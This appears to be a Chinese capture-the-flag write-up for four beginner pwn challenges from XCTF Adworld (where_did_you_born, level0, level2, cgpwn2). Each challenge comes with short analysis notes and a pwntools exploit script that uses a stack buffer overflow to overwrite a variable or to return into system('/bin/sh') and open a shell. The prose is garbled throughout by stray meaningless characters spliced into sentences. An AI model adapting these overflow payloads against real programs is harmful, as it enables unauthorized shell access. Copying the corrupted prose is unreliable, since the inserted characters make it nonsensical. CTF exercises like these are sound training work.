攻防世界:https://adworld.xctf.org.cn/login?prev=%2Ftask
小白做的簡單題
where_did_you_born
checksec,64位程序
ida 查看
main
可以看出當 v5 = 1926 時就可以 catflag,但是在第一個 if 判斷中當 v5 = 1926 時就直接忽略了 else 判斷,看到 gets 函數(shù)要求輸入 v4,同時 gets 函數(shù)是一個可以無限輸入數(shù)據(jù)的函數(shù)躺孝,所以可以利用 v4 來覆蓋 v5,讓 v5 = 1926。
v4 和 v5 的地址相差為 0x20 - 0x18 = 0x8
exp
#!/usr/bin/python
#-*-coding:utf-8 -*-
from pwn import *
p = process('./where_did_you_born')
#p = remote("111.198.29.45","54215")
p.recvuntil('Birth?')
p.sendline('1925')
p.recvuntil('Name?')
payload = 'A' * 8 + p64(1926)
p.sendline(payload)
p.interactive()
level0
checksec红且,64位程序
ida 查看,存在溢出涤姊,并且程序中存在 system('/bin/sh')
vulnerable_function
callsystem
callsystem 地址
exp
#!/usr/bin/python
#coding:utf-8
from pwn import *
p = process('./level0')
#p = remote('111.198.29.45','35394')
callsystem = 0x0400596
payload = 'A' * 0x80
payload += p64(0)
payload += p64(callsystem)
p.sendline(payload)
p.interactive()
level2
checksec暇番,32位程序
ida 查看,存在溢出思喊,程序中 system 函數(shù)的參數(shù)不對壁酬,但同時程序中存在 /bin/sh 字符串
vulnerable_function
main
ida 查看 system 函數(shù)和 /bin/sh 字符串的地址
system
/bin/sh
exp
#!/usr/bin/python
#coding:utf-8
from pwn import *
p = process('./level2')
#p = remote('111.198.29.45','52640')
system = 0x08048320
bin_sh = 0x0804A024
payload = 'A' * 0x88
payload += p32(0)
payload += p32(system)
payload += p32(0)
payload += p32(bin_sh)
p.sendline(payload)
p.interactive()
cgpwn2
checksec,32位程序
ida 查看搔涝,存在 system 函數(shù)厨喂,但是沒有 /bin/sh 字符串
hello
hello
system
利用 fgets 函數(shù)將 /bin/sh 寫入 bss 段
exp
#!/usr/bin/python
#-*-coding:utf-8 -*-
from pwn import *
p = process('./cgpwn2')
#p = remote('111.198.29.45',57244)
system = 0x08048420
bss = 0x0804A080
p.recvuntil('name')
p.sendline("/bin/sh")
p.recvuntil('here:')
payload = 'A' * 0x26
payload += p32(0)
payload += p32(system)
payload += p32(0)
payload += p32(bss)
p.sendline(payload)
p.interactive()